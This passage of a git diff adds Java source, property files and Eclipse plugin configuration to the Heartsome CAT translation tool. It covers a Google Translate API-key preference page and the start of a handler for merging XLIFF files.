apiKeySettingGroup.setText(Messages.getString("preference.GooglePreferencePage.apiKeySettingGroup")); + apiKeySettingGroup.setLayout(new GridLayout(1, false)); + apiKeySettingGroup.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + HsImageLabel test = new HsImageLabel(Messages.getString("preference.GooglePreferencePage.lbKeySetting"), + Activator.getImageDescriptor("images/trans_google_key_32.png")); + Composite com = test.createControl(apiKeySettingGroup); + + com.setLayout(new GridLayout(3, false)); + + Label lblApiKey = new Label(com, SWT.NONE); + lblApiKey.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + lblApiKey.setText(Messages.getString("preference.GooglePreferencePage.lblApiKey")); + + googleKeyText = new Text(com, SWT.BORDER); + googleKeyText.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + stateLabel = new Label(com, SWT.NONE); + stateLabel.setImage(errorImage); + + new Label(com, SWT.NONE); + Button validateKey = new Button(com, SWT.NONE); + validateKey.setText(Messages.getString("preference.GooglePreferencePage.validateKey")); + validateKey.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + String key = googleKeyText.getText(); + if (key == null || key.equals("")) { + MessageDialog.openError(getShell(), Messages.getString("preference.GooglePreferencePage.msgTitle"), + Messages.getString("preference.GooglePreferencePage.msg1")); + return; + } + validator(); + enableComponent(state); + if (!state) { + MessageDialog.openError(getShell(), Messages.getString("preference.GooglePreferencePage.msgTitle"), + Messages.getString("preference.GooglePreferencePage.msg2")); + return; + } + } + }); + new Label(com, SWT.NONE); + + new Label(com, SWT.NONE); + Link link = new Link(com, SWT.NONE); + link.setText("
    " + Messages.getString("preference.GooglePreferencePage.link") + ""); + link.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + Program.launch("http://code.google.com/apis/language/translate/v2/getting_started.html"); + } + }); + link.setToolTipText("http://code.google.com/apis/language/translate/v2/getting_started.html"); + + new Label(com, SWT.NONE); + test.computeSize(); + + Group apiAccessibilityGroup = new Group(tparent, SWT.NONE); + apiAccessibilityGroup.setLayout(new GridLayout(1, false)); + apiAccessibilityGroup.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + apiAccessibilityGroup.setText(Messages.getString("preference.GooglePreferencePage.apiAccessibilityGroup")); + + HsImageLabel accessibility = new HsImageLabel( + Messages.getString("preference.GooglePreferencePage.accessibility"), + Activator.getImageDescriptor("images/trans_google_set_32.png")); + Composite accessibilityComp = accessibility.createControl(apiAccessibilityGroup); + accessibilityComp.setLayout(new GridLayout()); + noRepeatAccessBtn = new Button(accessibilityComp, SWT.RADIO); + noRepeatAccessBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + noRepeatAccessBtn.setText(Messages.getString("preference.GooglePreferencePage.noRepeatAccessBtn")); + noRepeatAccessBtn.setEnabled(false); + noRepeatAccessBtn.setSelection(false); + + alwaysAccessBtn = new Button(accessibilityComp, SWT.RADIO); + alwaysAccessBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + alwaysAccessBtn.setText(Messages.getString("preference.GooglePreferencePage.alwaysAccessBtn")); + alwaysAccessBtn.setEnabled(false); + alwaysAccessBtn.setSelection(false); + + manualAccessBtn = new Button(accessibilityComp, SWT.RADIO); + manualAccessBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + manualAccessBtn.setText(Messages.getString("preference.GooglePreferencePage.neverAccessBtn")); + manualAccessBtn.setEnabled(false); + manualAccessBtn.setSelection(false); + accessibility.computeSize(); + + if (CommonFunction.checkEdition("U")) { + Group preTransGroup = new Group(tparent, SWT.NONE); + preTransGroup.setLayout(new GridLayout(1, false)); + preTransGroup.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + preTransGroup.setText(Messages.getString("preference.GooglePreferencePage.preTransGroup")); + + HsImageLabel preTrans = new HsImageLabel(Messages.getString("preference.GooglePreferencePage.preTrans"), + Activator.getImageDescriptor("images/trans_google_trans_32.png")); + Composite group = preTrans.createControl(preTransGroup); + group.setLayout(new GridLayout()); + + suportPreTransBtn = new Button(group, SWT.CHECK); + suportPreTransBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + suportPreTransBtn.setText(Messages.getString("preference.GooglePreferencePage.suportPreTransBtn")); + suportPreTransBtn.setEnabled(false); + suportPreTransBtn.setSelection(false); + preTrans.computeSize(); + } + + setValues(false); + + return tparent; + } + + private void enableComponent(boolean currentState) { + alwaysAccessBtn.setEnabled(currentState); + manualAccessBtn.setEnabled(currentState); + noRepeatAccessBtn.setEnabled(currentState); + if (CommonFunction.checkEdition("U")) { + suportPreTransBtn.setEnabled(currentState); + } + + if (currentState) { + stateLabel.setImage(rightImage); + boolean noRepeate = ps.getBoolean(IPreferenceConstant.NO_REPEATE_ACCESS); + boolean always = ps.getBoolean(IPreferenceConstant.ALWAYS_ACCESS); + boolean manual = ps.getBoolean(IPreferenceConstant.MANUAL_ACCESS); + + if (!(noRepeate || always || manual)) { + noRepeate = ps.getDefaultBoolean(IPreferenceConstant.NO_REPEATE_ACCESS); + always = ps.getDefaultBoolean(IPreferenceConstant.ALWAYS_ACCESS); + manual = ps.getDefaultBoolean(IPreferenceConstant.MANUAL_ACCESS); + } + alwaysAccessBtn.setSelection(always); + manualAccessBtn.setSelection(manual); + noRepeatAccessBtn.setSelection(noRepeate); + + if (CommonFunction.checkEdition("U")) { + boolean preTrans = ps.getBoolean(IPreferenceConstant.PRETRANS_STATE); + suportPreTransBtn.setSelection(preTrans); + } + } else { + stateLabel.setImage(errorImage); + alwaysAccessBtn.setSelection(false); + manualAccessBtn.setSelection(false); + noRepeatAccessBtn.setSelection(false); + if (CommonFunction.checkEdition("U")) { + suportPreTransBtn.setSelection(false); + } + } + // ps.setValue(IPreferenceConstant.STATE, currentState); // 记录当å‰é€šè¿‡äº†éªŒè¯ + } + + @Override + protected void performDefaults() { + setValues(true); + } + + @Override + protected void performApply() { + super.performApply(); + String key = googleKeyText.getText(); + if (key == null || key.equals("")) { + state = false; + } else { + validator(); + if (!state) { + MessageDialog.openError(getShell(), Messages.getString("preference.GooglePreferencePage.msgTitle"), + Messages.getString("preference.GooglePreferencePage.msg2")); + return; + } + } + enableComponent(state); + } + + @Override + public boolean performOk() { + + String key = googleKeyText.getText(); + + if (key == null || key.equals("")) { + state = false; + } else { + validator(); + } + + boolean always = alwaysAccessBtn.getSelection(); + boolean manual = manualAccessBtn.getSelection(); + + ps.setValue(IPreferenceConstant.STATE, state); + ps.setValue(IPreferenceConstant.KEY, key); + ps.setValue(IPreferenceConstant.ALWAYS_ACCESS, always); + ps.setValue(IPreferenceConstant.MANUAL_ACCESS, manual); + boolean noRepeat = noRepeatAccessBtn.getSelection(); + ps.setValue(IPreferenceConstant.NO_REPEATE_ACCESS, noRepeat); + if (CommonFunction.checkEdition("U")) { + boolean preTrans = suportPreTransBtn.getSelection(); + ps.setValue(IPreferenceConstant.PRETRANS_STATE, preTrans); + } + + return true; + } + + /** @return the checkResult */ + public boolean isCheckResult() { + return state; + } + + /** + * @param checkResult + * the checkResult to set + */ + public void setCheckResult(boolean checkResult) { + this.state = checkResult; + } + + /** + * 访问apiä»¥éªŒè¯ Key是å¦å¯ç”¨ã€‚ ; + */ + private void validator() { + final String googleKey = googleKeyText.getText(); + BusyIndicator.showWhile(getShell().getDisplay(), new Runnable() { + + public void run() { + // TODO Auto-generated method stub + if (googleKey != null && !googleKey.trim().equals("")) { + GoogleAPI.setHttpReferrer("http://www.heartsome.net"); + GoogleAPI.setKey(googleKey); + try { + String result = Translate.DEFAULT.execute("test", GoogleTransUtils.processLanguage("en-US"), + GoogleTransUtils.processLanguage("zh-CN")); + if (result.equals("测试")) { + state = true; + } + } catch (GoogleAPIException e) { + state = false; + } + } else { + state = false; + } + } + }); + } + + private void setValues(boolean blnIsApplyDefault) { + if (blnIsApplyDefault) { + this.state = ps.getDefaultBoolean(IPreferenceConstant.STATE); + this.googleKeyText.setText(ps.getDefaultString(IPreferenceConstant.KEY)); + enableComponent(false); // 在这里é¢ç¦ç”¨å…¶ä»–选项 + } else { + this.state = ps.getBoolean(IPreferenceConstant.STATE); + enableComponent(state); + this.googleKeyText.setText(ps.getString(IPreferenceConstant.KEY)); + } + } + + @Override + public void dispose() { + if (rightImage != null) { + rightImage.dispose(); + } + if (errorImage != null) { + errorImage.dispose(); + } + super.dispose(); + } +} diff --git a/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/resource/Messages.java b/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/resource/Messages.java new file mode 100644 index 0000000..ef88789 --- /dev/null +++ b/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.ts.googletrans.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.ts.googletrans.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/resource/message.properties b/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/resource/message.properties new file mode 100644 index 0000000..1c72ca4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/resource/message.properties @@ -0,0 +1,20 @@ +handler.ExecuteGoogleTransHandler.msgTitle = \u63d0\u793a +handler.ExecuteGoogleTransHandler.msg = \u65e0\u6cd5\u4f7f\u7528 Google Translate \u673a\u5668\u7ffb\u8bd1\uff0c\u8bf7\u786e\u8ba4\u5df2\u5728\u5de5\u5177 > \u9009\u9879 > \u7ffb\u8bd1 > Google Translate \u4e2d\u586b\u5165\u4e86\u6b63\u786e\u7684\u5bc6\u94a5\u3001\u4e14\u7f51\u7edc\u8fde\u63a5\u6b63\u5e38\u3002 +handler.ExecuteGoogleTransHandler.task = \u6b63\u5728\u6267\u884c Google Translate \u673a\u5668\u7ffb\u8bd1... + +preference.GooglePreferencePage.apiKeySettingGroup = \u8eab\u4efd\u9a8c\u8bc1 +preference.GooglePreferencePage.lbKeySetting = \u586b\u5199\u4ece Google \u7533\u8bf7\u7684 Google Translate \u5bc6\u94a5\uff1a +preference.GooglePreferencePage.lblApiKey = \u5bc6\u94a5\uff1a +preference.GooglePreferencePage.validateKey = \u6d4b\u8bd5\u53ef\u7528\u6027 +preference.GooglePreferencePage.msgTitle = \u63d0\u793a +preference.GooglePreferencePage.msg1 = \u8bf7\u8f93\u5165\u5bc6\u94a5\u3002 +preference.GooglePreferencePage.msg2 = Google Translate \u673a\u5668\u7ffb\u8bd1\u65e0\u6cd5\u4f7f\u7528\uff0c\u8bf7\u786e\u8ba4\u5982\u4e0b\u4fe1\u606f\uff1a\n1\u3001\u5bc6\u94a5\u662f\u5426\u6b63\u786e\n2\u3001\u8d2d\u4e70\u7684 Google Translate \u6d41\u91cf\u662f\u5426\u5df2\u4f7f\u7528\u5b8c\u3002 +preference.GooglePreferencePage.link = \u7533\u8bf7 Google Translate v2\uff08\u4ed8\u8d39\u7248\uff09\u5bc6\u94a5 +preference.GooglePreferencePage.apiAccessibilityGroup = \u81ea\u52a8\u673a\u5668\u7ffb\u8bd1 +preference.GooglePreferencePage.accessibility = \u9884\u7ffb\u8bd1\u53ca\u9009\u4e2d\u6587\u672c\u6bb5\u65f6\uff0c\u6309\u5982\u4e0b\u7b56\u7565\u81ea\u52a8\u6267\u884c Google Translate \u673a\u5668\u7ffb\u8bd1\uff1a +preference.GooglePreferencePage.noRepeatAccessBtn = \u65e0 Google Translate \u9884\u5b58\u5339\u914d\u65f6\u81ea\u52a8\u6267\u884c +preference.GooglePreferencePage.alwaysAccessBtn = \u59cb\u7ec8\u81ea\u52a8\u6267\u884c +preference.GooglePreferencePage.neverAccessBtn = \u624b\u52a8\u6267\u884c +preference.GooglePreferencePage.preTransGroup = \u9884\u5b58 Google Translate \u7ffb\u8bd1 +preference.GooglePreferencePage.preTrans = \u82e5\u542f\u7528\u9884\u5b58 Google Translate \u7ffb\u8bd1\uff0c\u53ef\u907f\u514d\u91cd\u590d\u8bbf\u95ee\u800c\u4ea7\u751f\u7684\u989d\u5916\u6d41\u91cf\u8d39\u7528\uff0c\u4e5f\u53ef\u5b9e\u65f6\u83b7\u53d6\u673a\u5668\u7ffb\u8bd1\u5339\u914d\u3002 +preference.GooglePreferencePage.suportPreTransBtn = \u9884\u5b58 Google Translate \u7ffb\u8bd1 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/resource/message_en.properties b/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/resource/message_en.properties new file mode 100644 index 0000000..581ad0c --- /dev/null +++ b/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/resource/message_en.properties @@ -0,0 +1,20 @@ +handler.ExecuteGoogleTransHandler.msgTitle = Message +handler.ExecuteGoogleTransHandler.msg = Unable to access Google Translate. Please make sure you have entered the correct key in Tools > Options > Translation > Google Translate and that you are connected to the Internet. +handler.ExecuteGoogleTransHandler.task = Translating files with Google Translate... + +preference.GooglePreferencePage.apiKeySettingGroup = Authentication +preference.GooglePreferencePage.lbKeySetting = Enter Google Translate key: +preference.GooglePreferencePage.lblApiKey = Key: +preference.GooglePreferencePage.validateKey = Test +preference.GooglePreferencePage.msgTitle = Message +preference.GooglePreferencePage.msg1 = Please enter your key. +preference.GooglePreferencePage.msg2 = If Google Translate is not available, please check the following:\n1. Do you have the correct key? \n2. Have you exceeded your usage quota? +preference.GooglePreferencePage.link = Apply Google Translate v2 (paid version) key +preference.GooglePreferencePage.apiAccessibilityGroup = Automatic Machine Translation +preference.GooglePreferencePage.accessibility = Automatically perform machine translation with Google Translate according to the following policy when pre-translating or selecting any segment: +preference.GooglePreferencePage.noRepeatAccessBtn = When no pre-stored translations from Google Translate +preference.GooglePreferencePage.alwaysAccessBtn = Always +preference.GooglePreferencePage.neverAccessBtn = Never, I'll do that manually +preference.GooglePreferencePage.preTransGroup = Pre-store Google Translate translations +preference.GooglePreferencePage.preTrans = If you enable pre-storage of Google Translate translations, you can avoid repeated visits and additional costs while getting access to real-time machine translation matches. +preference.GooglePreferencePage.suportPreTransBtn = Pre-store Google Translate translations diff --git a/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/resource/message_zh.properties b/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/resource/message_zh.properties new file mode 100644 index 0000000..1c72ca4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/resource/message_zh.properties @@ -0,0 +1,20 @@ +handler.ExecuteGoogleTransHandler.msgTitle = \u63d0\u793a +handler.ExecuteGoogleTransHandler.msg = \u65e0\u6cd5\u4f7f\u7528 Google Translate \u673a\u5668\u7ffb\u8bd1\uff0c\u8bf7\u786e\u8ba4\u5df2\u5728\u5de5\u5177 > \u9009\u9879 > \u7ffb\u8bd1 > Google Translate \u4e2d\u586b\u5165\u4e86\u6b63\u786e\u7684\u5bc6\u94a5\u3001\u4e14\u7f51\u7edc\u8fde\u63a5\u6b63\u5e38\u3002 +handler.ExecuteGoogleTransHandler.task = \u6b63\u5728\u6267\u884c Google Translate \u673a\u5668\u7ffb\u8bd1... + +preference.GooglePreferencePage.apiKeySettingGroup = \u8eab\u4efd\u9a8c\u8bc1 +preference.GooglePreferencePage.lbKeySetting = \u586b\u5199\u4ece Google \u7533\u8bf7\u7684 Google Translate \u5bc6\u94a5\uff1a +preference.GooglePreferencePage.lblApiKey = \u5bc6\u94a5\uff1a +preference.GooglePreferencePage.validateKey = \u6d4b\u8bd5\u53ef\u7528\u6027 +preference.GooglePreferencePage.msgTitle = \u63d0\u793a +preference.GooglePreferencePage.msg1 = \u8bf7\u8f93\u5165\u5bc6\u94a5\u3002 +preference.GooglePreferencePage.msg2 = Google Translate \u673a\u5668\u7ffb\u8bd1\u65e0\u6cd5\u4f7f\u7528\uff0c\u8bf7\u786e\u8ba4\u5982\u4e0b\u4fe1\u606f\uff1a\n1\u3001\u5bc6\u94a5\u662f\u5426\u6b63\u786e\n2\u3001\u8d2d\u4e70\u7684 Google Translate \u6d41\u91cf\u662f\u5426\u5df2\u4f7f\u7528\u5b8c\u3002 +preference.GooglePreferencePage.link = \u7533\u8bf7 Google Translate v2\uff08\u4ed8\u8d39\u7248\uff09\u5bc6\u94a5 +preference.GooglePreferencePage.apiAccessibilityGroup = \u81ea\u52a8\u673a\u5668\u7ffb\u8bd1 +preference.GooglePreferencePage.accessibility = \u9884\u7ffb\u8bd1\u53ca\u9009\u4e2d\u6587\u672c\u6bb5\u65f6\uff0c\u6309\u5982\u4e0b\u7b56\u7565\u81ea\u52a8\u6267\u884c Google Translate \u673a\u5668\u7ffb\u8bd1\uff1a +preference.GooglePreferencePage.noRepeatAccessBtn = \u65e0 Google Translate \u9884\u5b58\u5339\u914d\u65f6\u81ea\u52a8\u6267\u884c +preference.GooglePreferencePage.alwaysAccessBtn = \u59cb\u7ec8\u81ea\u52a8\u6267\u884c +preference.GooglePreferencePage.neverAccessBtn = \u624b\u52a8\u6267\u884c +preference.GooglePreferencePage.preTransGroup = \u9884\u5b58 Google Translate \u7ffb\u8bd1 +preference.GooglePreferencePage.preTrans = \u82e5\u542f\u7528\u9884\u5b58 Google Translate \u7ffb\u8bd1\uff0c\u53ef\u907f\u514d\u91cd\u590d\u8bbf\u95ee\u800c\u4ea7\u751f\u7684\u989d\u5916\u6d41\u91cf\u8d39\u7528\uff0c\u4e5f\u53ef\u5b9e\u65f6\u83b7\u53d6\u673a\u5668\u7ffb\u8bd1\u5339\u914d\u3002 +preference.GooglePreferencePage.suportPreTransBtn = \u9884\u5b58 Google Translate \u7ffb\u8bd1 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.handlexlf/.classpath b/ts/net.heartsome.cat.ts.handlexlf/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/ts/net.heartsome.cat.ts.handlexlf/.project b/ts/net.heartsome.cat.ts.handlexlf/.project new file mode 100644 index 0000000..5551bf0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts.handlexlf + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/ts/net.heartsome.cat.ts.handlexlf/.settings/org.eclipse.jdt.core.prefs b/ts/net.heartsome.cat.ts.handlexlf/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/ts/net.heartsome.cat.ts.handlexlf/META-INF/MANIFEST.MF b/ts/net.heartsome.cat.ts.handlexlf/META-INF/MANIFEST.MF new file mode 100644 index 0000000..e9ab45e --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/META-INF/MANIFEST.MF @@ -0,0 +1,25 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TS Handle XLIFF +Bundle-SymbolicName: net.heartsome.cat.ts.handlexlf;singleton:=true +Bundle-Version: 8.0.1.R8b_v20121214 +Bundle-Activator: net.heartsome.cat.ts.handlexlf.Activator +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime, + net.heartsome.cat.thirdpartlibrary;bundle-version="8.0.0", + net.heartsome.cat.ts.core;bundle-version="8.0.0", + net.heartsome.cat.common.core, + org.eclipse.core.filesystem;bundle-version="1.3.100", + net.heartsome.cat.ts.ui;bundle-version="8.0.0", + org.eclipse.ui.ide;bundle-version="3.7.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: net.heartsome.cat.common.ui.dialog, + net.heartsome.cat.common.ui.wizard, + net.heartsome.cat.common.util, + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor, + org.eclipse.core.resources, + org.eclipse.ui.internal.ide.dialogs, + org.eclipse.ui.part +Bundle-Localization: plugin +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/ts/net.heartsome.cat.ts.handlexlf/build.properties b/ts/net.heartsome.cat.ts.handlexlf/build.properties new file mode 100644 index 0000000..2c28afa --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/build.properties @@ -0,0 +1,9 @@ +source.. = src/ +output.. = bin/ +bin.includes = plugin.xml,\ + META-INF/,\ + .,\ + images/,\ + plugin.properties,\ + plugin_en.properties,\ + plugin_zh.properties diff --git a/ts/net.heartsome.cat.ts.handlexlf/images/file/cut xliff.png b/ts/net.heartsome.cat.ts.handlexlf/images/file/cut xliff.png new file mode 100644 index 0000000..3621cbd Binary files /dev/null and b/ts/net.heartsome.cat.ts.handlexlf/images/file/cut xliff.png differ diff --git a/ts/net.heartsome.cat.ts.handlexlf/images/file/file-merge-logo.png b/ts/net.heartsome.cat.ts.handlexlf/images/file/file-merge-logo.png new file mode 100644 index 0000000..bf31e46 Binary files /dev/null and b/ts/net.heartsome.cat.ts.handlexlf/images/file/file-merge-logo.png differ diff --git a/ts/net.heartsome.cat.ts.handlexlf/images/file/file-split-logo.png b/ts/net.heartsome.cat.ts.handlexlf/images/file/file-split-logo.png new file mode 100644 index 0000000..187f349 Binary files /dev/null and b/ts/net.heartsome.cat.ts.handlexlf/images/file/file-split-logo.png differ diff --git a/ts/net.heartsome.cat.ts.handlexlf/images/file/merge xliff.png b/ts/net.heartsome.cat.ts.handlexlf/images/file/merge xliff.png new file mode 100644 index 0000000..8410899 Binary files /dev/null and b/ts/net.heartsome.cat.ts.handlexlf/images/file/merge xliff.png differ diff --git a/ts/net.heartsome.cat.ts.handlexlf/plugin.properties b/ts/net.heartsome.cat.ts.handlexlf/plugin.properties new file mode 100644 index 0000000..606a90f --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/plugin.properties @@ -0,0 +1,4 @@ +menu.file.splitXLIFF = \u5206\u5272 XLIFF... +menu.file.mergeXLIFF = \u5408\u5e76 XLIFF... +command.splitXLIFF = \u5206\u5272 XLIFF +command.mergeXLIFF = \u5408\u5e76 XLIFF diff --git a/ts/net.heartsome.cat.ts.handlexlf/plugin.xml b/ts/net.heartsome.cat.ts.handlexlf/plugin.xml new file mode 100644 index 0000000..af9d9b8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/plugin.xml @@ -0,0 +1,153 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.handlexlf/plugin_en.properties b/ts/net.heartsome.cat.ts.handlexlf/plugin_en.properties new file mode 100644 index 0000000..77dd6b2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/plugin_en.properties @@ -0,0 +1,4 @@ +menu.file.splitXLIFF = Split XLIFF... +menu.file.mergeXLIFF = Merge XLIFF... +command.splitXLIFF = Split XLIFF +command.mergeXLIFF = Merge XLIFF diff --git a/ts/net.heartsome.cat.ts.handlexlf/plugin_zh.properties b/ts/net.heartsome.cat.ts.handlexlf/plugin_zh.properties new file mode 100644 index 0000000..606a90f --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/plugin_zh.properties @@ -0,0 +1,4 @@ +menu.file.splitXLIFF = \u5206\u5272 XLIFF... +menu.file.mergeXLIFF = \u5408\u5e76 XLIFF... +command.splitXLIFF = \u5206\u5272 XLIFF +command.mergeXLIFF = \u5408\u5e76 XLIFF diff --git a/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/Activator.java b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/Activator.java new file mode 100644 index 0000000..c467300 --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/Activator.java @@ -0,0 +1,61 @@ +package net.heartsome.cat.ts.handlexlf; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.ts.handlexlf"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * Returns an image descriptor for the image file at the given + * plug-in relative path + * + * @param path the path + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } +} diff --git a/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/handler/MergeXliffHandler.java b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/handler/MergeXliffHandler.java new file mode 100644 index 0000000..22a1832 --- /dev/null +++ b/ts/net.heartsome.cat.ts.handlexlf/src/net/heartsome/cat/ts/handlexlf/handler/MergeXliffHandler.java @@ -0,0 +1,108 @@ +package net.heartsome.cat.ts.handlexlf.handler; + +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; +import java.util.Vector; + +import net.heartsome.cat.common.file.XLFValidator; +import net.heartsome.cat.common.ui.wizard.TSWizardDialog; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.handlexlf.resource.Messages; +import net.heartsome.cat.ts.handlexlf.split.SplitOrMergeXlfModel; +import net.heartsome.cat.ts.handlexlf.wizard.MergeXliffWizard; +import net.heartsome.cat.ts.handlexlf.wizard.NattableWizardDialog; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IFile; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; + +/** + * åˆå¹¶å·²ç»åˆ‡å‰²çš„Xliff文件 + * @author robert 2011-10-17 + */ +public class MergeXliffHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + final Shell shell = window.getShell(); + + ISelection currentSelection = HandlerUtil.getCurrentSelection(event); + if (currentSelection != null && !currentSelection.isEmpty() && currentSelection instanceof IStructuredSelection) { + + IStructuredSelection structuredSelection = (IStructuredSelection) currentSelection; + + if (structuredSelection.size() < 2) { + MessageDialog.openInformation(shell, Messages.getString("handler.MergeXliffHandler.msgTitle1"), + Messages.getString("handler.MergeXliffHandler.msg1")); + return null; + } + + Vector seleFiles = new Vector(); + String notXlfFile = ""; + @SuppressWarnings("rawtypes") + Iterator selectIt = structuredSelection.iterator(); + while (selectIt.hasNext()) { + Object object = selectIt.next(); + if (object instanceof IFile) { + IFile selectFile = (IFile) object; + String fileExtension = selectFile.getFileExtension(); + + // 如果åŽç¼€åä¸æ˜¯xlf,那么就进行æ示 + if (fileExtension == null || !CommonFunction.validXlfExtension(fileExtension)) { + notXlfFile += selectFile.getFullPath().toOSString() + ","; + } + seleFiles.add(selectFile); + } + } + + if (notXlfFile.length() > 0) { + notXlfFile = notXlfFile.substring(0, notXlfFile.length() - 1); + boolean isSure = MessageDialog.openConfirm(shell, Messages + .getString("handler.MergeXliffHandler.msgTitle2"), MessageFormat.format( + Messages.getString("handler.MergeXliffHandler.msg2"), new Object[] { notXlfFile })); + if (!isSure) { + return null; + } + } + + List lstFiles = new ArrayList(); + XLFValidator.resetFlag(); + for (IFile iFile : seleFiles) { + if (!XLFValidator.validateXliffFile(iFile)) { + lstFiles.add(iFile); + } + } + XLFValidator.resetFlag(); + seleFiles.removeAll(lstFiles); + if (seleFiles.size() == 0) { + return null; + } + + if (seleFiles.size() > 0) { + 